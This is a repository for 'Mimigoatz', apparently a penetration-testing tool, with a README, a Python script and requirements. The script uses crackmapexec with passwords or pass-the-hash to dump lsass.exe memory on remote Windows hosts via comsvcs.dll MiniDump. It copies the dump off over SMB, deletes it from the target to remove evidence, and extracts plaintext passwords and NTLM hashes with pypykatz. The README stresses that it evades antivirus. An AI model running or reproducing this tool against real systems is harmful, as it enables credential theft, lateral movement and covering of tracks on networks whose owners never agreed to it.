├── README.md ├── mimigoatz.py └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # Mimigoatz 2 | **Overview** 3 | 4 | Mimigoatz is an alternative to running Mimikatz on a target system. With advances in Endpoint security and IDS, Mimikatz no longer as effective as it once was. 5 | 6 | Mimigoatz leverages crackmapexec, impacket, and pypykatz to dump the lsass.exe process, extract it from the target, and then parse the contents offline to reveal credentials found in memory. 7 | 8 | This requires privileged admin credentials for the target(s) to dump the lsass.exe process out of memory and will fail without sufficient access. 9 | 10 | This may still be picked up by AV, but chances are it won't be caught. 11 | 12 | -------------------------------------------------------------------------------- 13 | 14 | 15 | **Installation** 16 | 17 | `pip install -r requirements.txt` 18 | 19 | `pip3 install pypykatz` 20 | 21 | -------------------------------------------------------------------------------- 22 | 23 | 24 | 25 | 26 | ``` 27 | _)) __ __ _ _ _ 28 | > *\ _~ | \/ (_)_ __ ___ (_) __ _ ___ __ _| |_ ____ 29 | `;'\\__-' \_ | |\/| | | '_ ` _ \| |/ _` |/ _ \ / _` | __|_ / 30 | | ) _ \ \ | | | | | | | | | | | (_| | (_) | (_| | |_ / / 31 | ejm97 / / `` w w |_| |_|_|_| |_| |_|_|\__, |\___/ \__,_|\__/___| 32 | w w |___/ 33 | 34 | Version 1.0.3b | Written by Adam Logue & Ryan Griffin. 35 | 36 | Special Thanks: Richard Young, Frank Scarpella, Zach Warren, and Piero Picasso. 37 | 38 | 39 | usage: mimigoatz.py [-h] [-d DOMAIN] [-p PASSWORD] [-t TARGET] [-u USERNAME] 40 | [-f FILE] [-H HASH] [--local] 41 | 42 | Alternative Mimikatz LSASS DUMPER 43 | 44 | optional arguments: 45 | -h, --help show this help message and exit 46 | -d DOMAIN Domain. 47 | -p PASSWORD Password. 48 | -t TARGET Single Target 49 | -u USERNAME Username. 50 | -f FILE File Containing One Host Per Line. 51 | -H HASH Pass the Hash 52 | --local Use Local Authentication 53 | ``` 54 | 55 | -------------------------------------------------------------------------------- 56 | 57 | **Example Usage** 58 | 59 | *Single target standard user password combination example* 60 | 61 | `python mimigoatz.py -t 10.0.0.1 -d AMERICAS -u john_smith -p Summer2019!` 62 | 63 | *Target File containing one host per line example* 64 | 65 | `python mimigoatz.py -f hosts.txt -d AMERICAS -u john_smith -p Summer2019!` 66 | 67 | *Local Admin username pass-the-hash* 68 | 69 | `python mimigoatz.py -t 10.0.0.1 -u Administrator -H c79357f8dd55539a9511ccbadf9201f8 --local` 70 | 71 | *Admin User on domain pass-the-hash* 72 | 73 | `python mimigoatz.py -t 10.0.0.1 -d AMERICAS -u john_smith -H aad3b435b51404eeaad3b435b51404ee:c79357f8dd55539a9511ccbadf9201f8` 74 | 75 | -------------------------------------------------------------------------------- 76 | **Output** 77 | 78 | By default, mimigoatz will output json files for each target in the format pypykatz_targetIP.json. 79 | ``` 80 | [+] wdigest: 81 | AMERICAS\John_Smith:Summer2019! 82 | AMERICAS\John_Smith:aad3b435b51404eeaad3b435b51404ee:c79357f8dd55539a9511ccbadf9201f8 83 | [+] credssp: 84 | AMERICAS\John_Smith:Summer2019! 85 | [+] msv: 86 | AMERICAS\John_Smith:aad3b435b51404eeaad3b435b51404ee:c79357f8dd55539a9511ccbadf9201f8 87 | ``` 88 | 89 | ##TO DO## 90 | 91 | Fix Hardcoded Impacket location 92 | -------------------------------------------------------------------------------- /mimigoatz.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | import subprocess 4 | import re 5 | import os 6 | import shlex 7 | import time 8 | import json 9 | from collections import defaultdict 10 | from itertools import islice 11 | 12 | #Add Colors 13 | class bcolors: 14 | RED = '\033[1;31m' 15 | YELLOW = '\033[1;33m' 16 | BLUE = '\033[94m' 17 | LIGREEN = '\033[92m' 18 | GREEN = '\033[0;32m' 19 | NORMAL = '\033[0m' 20 | TAN = '\033[0;33;33m' 21 | 22 | 23 | title = "\n\n\n" 24 | title += "" 25 | title +=" "+bcolors.TAN +"_"+bcolors.NORMAL +")) __ __ _ _ _ \n" 26 | title +=" "+bcolors.TAN +"> "+bcolors.RED +"*"+bcolors.TAN +"\ _~"+bcolors.NORMAL +" | \/ (_)_ __ ___ (_) __ _ ___ __ _| |_ ____\n" 27 | title +=" "+bcolors.TAN +"`"+bcolors.NORMAL +";"+bcolors.TAN +"'\\__-' \_ "+bcolors.NORMAL +" | |\/| | | '_ ` _ \| |/ _` |/ _ \ / _` | __|_ /\n" 28 | title +=" "+bcolors.TAN +"| ) _ \ \\"+bcolors.NORMAL +" | | | | | | | | | | | (_| | (_) | (_| | |_ / / \n" 29 | title +=" ejm97 "+bcolors.TAN +"/ / `` "+bcolors.NORMAL +"w w |_| |_|_|_| |_| |_|_|\__, |\___/ \__,_|\__/___|\n" 30 | title +=" w w |___/ \n" 31 | title +="\n" 32 | title +=" Version 1.0.3b | Written by Adam Logue & Ryan Griffin\n" 33 | title +="\n" 34 | title +="Special Thanks: Richard Young, Frank Scarpella, Zach Warren, Michael Howard, and Piero Picasso.\n" 35 | 36 | print title 37 | # parse the arguments 38 | group = argparse.ArgumentParser(description='Alternative Mimikatz LSASS DUMPER') 39 | group.add_argument('-d',metavar='DOMAIN', help='Domain.',required=False) 40 | group.add_argument('-p',metavar='PASSWORD', help='Password.',required=False) 41 | group.add_argument('-t',metavar='TARGET', help='Single Target',required=False) 42 | group.add_argument('-u',metavar='USERNAME', help='Username.',required=False) 43 | group.add_argument('-f',metavar='FILE', help='File Containing One Host Per Line.',required=False) 44 | group.add_argument('-H',metavar='HASH', help='Pass the Hash', required=False) 45 | group.add_argument('--local', help='Use Local Authentication', action='store_true',required=False) 46 | args = group.parse_args() 47 | if len(sys.argv)==1: 48 | group.print_help(sys.stderr) 49 | 50 | #Add Colors 51 | class bcolors: 52 | RED = '\033[1;31m' 53 | YELLOW = '\033[1;33m' 54 | BLUE = '\033[94m' 55 | LIGREEN = '\033[92m' 56 | GREEN = '\033[0;32m' 57 | NORMAL = '\033[0m' 58 | 59 | #Functions 60 | def hostsToList(): # takes -f input file and puts it into a list 61 | with open(args.f) as targetfile: 62 | hosts = [line.strip() for line in targetfile] 63 | targetfile.close() 64 | return hosts 65 | 66 | def getLSASSPID(target): #Get PID of LSASS Process 67 | print (bcolors.BLUE +"[*]" + bcolors.NORMAL +" Target: " + target) 68 | ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') #regex to escape colors from CME 69 | if args.local is True and args.H: 70 | if ":" not in args.H: 71 | args.H = "aad3b435b51404eeaad3b435b51404ee:" + args.H 72 | cmeHashLocal = args.H.split(":")[1] 73 | print (bcolors.LIGREEN + "[+]" + bcolors.NORMAL + " Obtaining LSASS PID:") 74 | if args.H and not args.local: 75 | findPID = subprocess.Popen(['crackmapexec', target, '-d',args.d, '-u', args.u, '-H', args.H, '-x "tasklist /v"'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 76 | elif args.H and args.local: 77 | findPID = subprocess.Popen(['crackmapexec', target, '-u', args.u, '-H', cmeHashLocal, '--local-auth', '-x "tasklist /v"'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 78 | elif args.p and not args.local: 79 | findPID = subprocess.Popen(['crackmapexec', target, '-d', args.d, '-u', args.u, '-p', args.p, '-x "tasklist /v"'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 80 | elif args.p and args.local: 81 | findPID = subprocess.Popen(['crackmapexec', target, '-u', args.u, '-p', args.p, '--local-auth', '-x "tasklist /v"'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 82 | elif args.H and args.p: 83 | print (bcolors.RED + "[!]" + bcolors.NORMAL + " Error, cannot supply both a password and a hash!\n") 84 | sys.exit() 85 | for line in findPID.stdout: 86 | if "lsass" in line: 87 | lsass = ansi_escape.sub('', line) #Extract tasklist lsass.exe process 88 | lsassList = lsass.split(" ") 89 | for i, item in enumerate(lsassList): #find PID because different versions of CME use different spacing 90 | if "Services" in item: 91 | lsassPID = lsassList[i - 1] #Find Services item and walk one item back to grab PID 92 | sys.stdout.flush() 93 | sys.stdout.write(bcolors.LIGREEN + "\033[F[+]" + bcolors.NORMAL + " Obtaining LSASS PID: " + bcolors.YELLOW + lsassPID + bcolors.NORMAL +"\n") 94 | try: 95 | return lsassPID 96 | except: 97 | print "Error Getting PID" 98 | pass 99 | 100 | def removeDumpFileEvidence(target): # remove dump file from target 101 | if args.H: 102 | cmd = '/usr/local/bin/smbclient.py ' + args.u + '@' + target + ' -hashes ' + args.H 103 | elif args.p: 104 | cmd = '/usr/local/bin/smbclient.py ' + args.u + ":" + args.p + '@' + target 105 | print "[+] Removing Evidence from Target" 106 | smbclient = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 107 | output = smbclient.communicate('use c$\nrm lsass.dmp\nls\n') 108 | if "lsass.dmp" in str(output): 109 | sys.stdout.flush() 110 | sys.stdout.write(bcolors.RED + "\033[F[-]" + bcolors.NORMAL + " Removing Evidence from Target..." + bcolors.RED + "Failed!" + bcolors.NORMAL + "\n") 111 | return False 112 | else: 113 | sys.stdout.flush() 114 | sys.stdout.write(bcolors.LIGREEN + "\033[F[+]" + bcolors.NORMAL + " Removing Evidence from Target..." + bcolors.LIGREEN + "Success!" + bcolors.NORMAL + "\n") 115 | return True 116 | 117 | return 118 | 119 | def exfilDumpFile(target): #get lsass.dmp 120 | if args.H: 121 | cmd = '/usr/local/bin/smbclient.py ' + args.u + '@' + target + ' -hashes ' + args.H 122 | if args.p: 123 | cmd = '/usr/local/bin/smbclient.py ' + args.u + ":" + args.p + '@' + target 124 | print "[+] Exfiltrating Dump" 125 | smbclient = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 126 | output = smbclient.communicate('use c$\nget lsass.dmp\n') 127 | if os.path.exists("lsass.dmp") == True: 128 | sys.stdout.flush() 129 | sys.stdout.write(bcolors.LIGREEN + "\033[F[+]" + bcolors.NORMAL + " Exfiltrating Dump..." + bcolors.LIGREEN + "Success!" + bcolors.NORMAL + "\n") 130 | return True 131 | else: 132 | time.sleep(5) #File probably didn't finish writing so wait a few more seconds and check again 133 | if os.path.exists("lsass.dmp") == True: 134 | sys.stdout.flush() 135 | sys.stdout.write(bcolors.LIGREEN + "\033[F[+]" + bcolors.NORMAL + " Exfiltrating Dump..." + bcolors.LIGREEN + "Success!" + bcolors.NORMAL + "\n") 136 | return True 137 | sys.stdout.flush() 138 | sys.stdout.write(bcolors.RED + "\033[F[-]" + bcolors.NORMAL + " Exfiltrating Dump..." + bcolors.RED + "Failed!" + bcolors.NORMAL + "\n") 139 | return False 140 | 141 | def validateProcDump(target): # Run smbclient to see if successfully dumps to C:\lsass.dmp 142 | if args.H: 143 | cmd = '/usr/local/bin/smbclient.py ' + args.u + '@' + target + ' -hashes ' + args.H 144 | if args.p: 145 | cmd = '/usr/local/bin/smbclient.py ' + args.u + ":" + args.p + '@' + target 146 | print (bcolors.LIGREEN + "[+]" + bcolors.NORMAL + " Validating Dump") 147 | smbclient = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 148 | output = smbclient.communicate('use c$\nls\n') 149 | if "lsass.dmp" in str(output): 150 | return True 151 | else: 152 | time.sleep(5) 153 | smbclient = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 154 | outputSecondTry = smbclient.communicate('use c$\nls\n') 155 | if "lsass.dmp" in str(outputSecondTry): 156 | return True 157 | return False 158 | 159 | def performProcDump(PID, target): 160 | if PID == False: 161 | return False 162 | if args.H and not args.local: 163 | cmd = 'crackmapexec ' + target + ' -d ' + args.d + ' -u ' + args.u + ' -H ' + args.H + ' -x \'powershell -c \"rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ' + str(PID) + ' C:\\lsass.dmp full\"\'' 164 | if args.H and args.local: 165 | cmd = 'crackmapexec ' + target + ' -u ' + args.u + ' -H ' + args.H + ' --local-auth -x \'powershell -c \"rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ' + str(PID) + ' C:\\lsass.dmp full\"\'' 166 | if args.p and not args.local: 167 | cmd = 'crackmapexec ' + target + ' -d ' + args.d + ' -u ' + args.u + ' -p ' + args.p + ' -x \'powershell -c \"rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ' + str(PID) + ' C:\\lsass.dmp full\"\'' 168 | if args.p and args.local: 169 | cmd = 'crackmapexec ' + target + ' -u ' + args.u + ' -p ' + args.p + ' --local-auth -x \'powershell -c \"rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ' + str(PID) + ' C:\\lsass.dmp full\"\'' 170 | print "[+] Dumping LSASS" 171 | procDump = subprocess.Popen(shlex.split(cmd),stdout=subprocess.PIPE, stderr=subprocess.PIPE) 172 | didItWork = validateProcDump(target) 173 | if didItWork == True: 174 | sys.stdout.flush() 175 | sys.stdout.write(bcolors.LIGREEN + "\033[F\033[F[+]" + bcolors.NORMAL + " Dumping LSASS..." + bcolors.LIGREEN + "Success!" + bcolors.NORMAL + "\n") 176 | return True 177 | elif didItWork == False: 178 | sys.stdout.flush() 179 | sys.stdout.write(bcolors.RED + "\033[F\033[F[-]" + bcolors.NORMAL + " Dumping LSASS..." + bcolors.RED + "Failed!" + bcolors.NORMAL + "\n") 180 | if args.f: # Retry Dump again just in case since we're providing a list of targets 181 | sys.stdout.write(bcolors.BLUE + "\033[F\033[F[*]" + bcolors.NORMAL + " Retrying LSASS Dump...\n") 182 | procDump = subprocess.Popen(shlex.split(cmd),stdout=subprocess.PIPE, stderr=subprocess.PIPE) 183 | didItWork = validateProcDump(target) 184 | if didItWork == True: 185 | sys.stdout.flush() 186 | sys.stdout.write(bcolors.LIGREEN + "\033[F\033[F[+]" + bcolors.NORMAL + " Retrying LSASS Dump..." + bcolors.LIGREEN + "Success!" + bcolors.NORMAL + "\n") 187 | return True 188 | elif didItWork == False: 189 | sys.stdout.flush() 190 | sys.stdout.write(bcolors.RED + "\033[F\033[F[-]" + bcolors.NORMAL + " Retrying LSASS Dump..." + bcolors.RED + "Failed!" + bcolors.NORMAL + "\n") 191 | print ("\n") 192 | return False 193 | 194 | def performPypykatz(target): 195 | cmd = 'pypykatz lsa --json -o pypykatz_'+ target + '.json' + ' minidump lsass.dmp' 196 | print "[+] Extracting Secrets" 197 | doThePypykatz = subprocess.Popen(shlex.split(cmd),stdout=subprocess.PIPE, stderr=subprocess.PIPE) 198 | if os.path.exists("pypykatz_" + target + '.json') == True: 199 | sys.stdout.flush() 200 | sys.stdout.write(bcolors.LIGREEN + "\033[F[+]" + bcolors.NORMAL + " Extracting Secrets..." + bcolors.LIGREEN + "Success!" + bcolors.NORMAL + "\n") 201 | print ("\n") 202 | return True 203 | elif os.path.exists("pypykatz_" + target + '.json') == False: 204 | time.sleep(5) #wait for file to be created because pypyKatz probably didn't finish doing it's thing the first time. 205 | if os.path.exists("pypykatz_" + target + '.json') == True: 206 | sys.stdout.flush() 207 | sys.stdout.write(bcolors.LIGREEN + "\033[F[+]" + bcolors.NORMAL + " Extracting Secrets...Success!" + bcolors.NORMAL + "\n") 208 | print ("\n") 209 | return True 210 | sys.stdout.flush() 211 | sys.stdout.write(bcolors.RED + "\033[F[-]" + bcolors.NORMAL + " Extracting Secrets..." + bcolors.RED + "Failed!" + bcolors.NORMAL + "\n") 212 | print ("\n") 213 | return False 214 | 215 | def displayCreds(target): 216 | msvDict = {} 217 | wdigestDict = {} 218 | sspDict = {} 219 | sortedResults = [] 220 | with open ("pypykatz_" + target + '.json',"r") as file: 221 | jsonFileData = json.load(file) 222 | 223 | for jsonData in jsonFileData["lsass.dmp"]["logon_sessions"]: 224 | 225 | 226 | # Get the unique MSV Information from LSASS 227 | msvCreds = jsonFileData["lsass.dmp"]["logon_sessions"][jsonData]["msv_creds"] 228 | for data in msvCreds: 229 | if data["username"] not in msvDict: 230 | msvDict.update({data["username"] : [[data["LMHash"],data["NThash"],data["domainname"]]]}) 231 | else: 232 | if [data["LMHash"],data["NThash"],data["domainname"]] not in msvDict[data["username"]]: 233 | msvDict[data["username"]].append([data["LMHash"],data["NThash"],data["domainname"]]) 234 | 235 | # Get the unique wDigest Information from LSASS 236 | wdigestCreds = jsonFileData["lsass.dmp"]["logon_sessions"][jsonData]["wdigest_creds"] 237 | for data in wdigestCreds: 238 | if data["password"] != None: 239 | if data["username"] not in wdigestDict: 240 | wdigestDict.update({data["username"] : [[data["password"],data["domainname"]]]}) 241 | else: 242 | wdigestDict[data["username"]].append([data["password"],data["domainname"]]) 243 | 244 | # Get the unique SSP Information from LSASS 245 | sspCreds = jsonFileData["lsass.dmp"]["logon_sessions"][jsonData]["ssp_creds"] 246 | for data in sspCreds: 247 | if data["password"] != None: 248 | if data["username"] not in sspDict: 249 | sspDict.update({data["username"] : [[data["password"],data["domainname"]]]}) 250 | else: 251 | sspDict[data["username"]].append([data["password"],data["domainname"]]) 252 | 253 | #print wdigest from LSASS JSON file 254 | if wdigestDict: 255 | print (bcolors.LIGREEN + "[+]" + bcolors.BLUE + " wdigest:" + bcolors.NORMAL) 256 | for username, userInfo in wdigestDict.iteritems(): 257 | for item in userInfo: 258 | print (bcolors.YELLOW + "\t%s\%s:%s" % (item[1],username,item[0]) + bcolors.NORMAL) 259 | 260 | #print credssp from LSASS JSON file 261 | if sspDict: 262 | print (bcolors.LIGREEN + "[+]" + bcolors.BLUE + " credssp:" + bcolors.NORMAL) 263 | for username, userInfo in sspDict.iteritems(): 264 | for item in userInfo: 265 | if item[1] == '': 266 | print (bcolors.YELLOW + "\t.\%s:%s" % (username,item[0]) + bcolors.NORMAL) 267 | else: 268 | print (bcolors.YELLOW + "\t%s\%s:%s" % (item[1],username,item[0]) + bcolors.NORMAL) 269 | 270 | #print msv from LSASS JSON file 271 | if msvDict: 272 | print (bcolors.LIGREEN + "[+]" + bcolors.BLUE + " msv:" + bcolors.NORMAL) 273 | for username, userInfo in msvDict.iteritems(): 274 | for item in userInfo: 275 | if item[0] == None: 276 | print (bcolors.YELLOW + "\t%s\%s:aad3b435b51404eeaad3b435b51404ee:%s" % (item[2],username,item[1]) + bcolors.NORMAL) 277 | else: 278 | print (bcolors.YELLOW + "\t%s\%s:%s:%s" % (item[2],username,item[0],item[1]) + bcolors.NORMAL) 279 | 280 | 281 | file.close() 282 | return 283 | 284 | 285 | #CALL FUNCTIONS 286 | 287 | if args.t: 288 | PID = getLSASSPID(args.t) 289 | if PID is not False: 290 | performProcDump(PID, args.t) 291 | if exfilDumpFile(args.t) == True: 292 | removeDumpFileEvidence(args.t) 293 | performPypykatz(args.t) 294 | displayCreds(args.t) 295 | else: 296 | sys.exit() 297 | elif args.f: 298 | for host in hostsToList(): 299 | PID = getLSASSPID(host) 300 | if PID is not False: 301 | performProcDump(PID, host) 302 | if exfilDumpFile(host) == True: 303 | removeDumpFileEvidence(host) 304 | performPypykatz(host) 305 | displayCreds(host) 306 | 307 | print (bcolors.BLUE + "\n[*]" + bcolors.NORMAL + " Done!\n\n") -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | argparse 2 | sys 3 | subprocess 4 | re 5 | os 6 | shlex 7 | time 8 | collections 9 | crackmapexec 10 | impacket 11 | json 12 | itertools --------------------------------------------------------------------------------